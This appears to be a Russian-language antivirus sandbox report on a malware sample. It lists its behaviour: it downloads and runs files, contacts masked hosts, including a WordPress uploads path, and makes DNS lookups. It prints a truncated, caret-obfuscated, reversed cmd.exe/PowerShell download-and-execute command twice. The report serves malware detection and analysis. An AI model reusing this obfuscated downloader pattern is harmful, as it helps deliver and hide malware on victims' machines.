Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /V/C"^s^et m^G^S^b= ^ ^ ^ ^ ^ ^ ^ ^ ^}}^{^hctac}^;^kaer^b;w^An^$ m^e^tI-ekovnI;)^w^An$ ^,R^w^X^$(^e^l^iFd^a^olnwo^D^.E^oC$^{^yr^t^{)C^q^U^$^ n^i Rw^X^$(hcaer^o^f;^'e^x^e.'+Jj^B$+^'^\^'^...
Сетевая активность
Подключается к
- 'pe#####.undiksha.ac.id':80
TCP
Запросы HTTP GET
- http://pe#####.undiksha.ac.id/wp-content/uploads/V
UDP
- DNS ASK pe#####.undiksha.ac.id
- DNS ASK gi#####robiyoloji.com
- DNS ASK ne#####novacion.com.ar
- DNS ASK ci#####proviamiga.com
- DNS ASK zo###eruncr.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /V/C"^s^et m^G^S^b= ^ ^ ^ ^ ^ ^ ^ ^ ^}}^{^hctac}^;^kaer^b;w^An^$ m^e^tI-ekovnI;)^w^An$ ^,R^w^X^$(^e^l^iFd^a^olnwo^D^.E^oC$^{^yr^t^{)C^q^U^$^ n^i Rw^X^$(hcaer^o^f;^'e^x^e.'+Jj^B$+^'^\^'^...' (со скрытым окном)
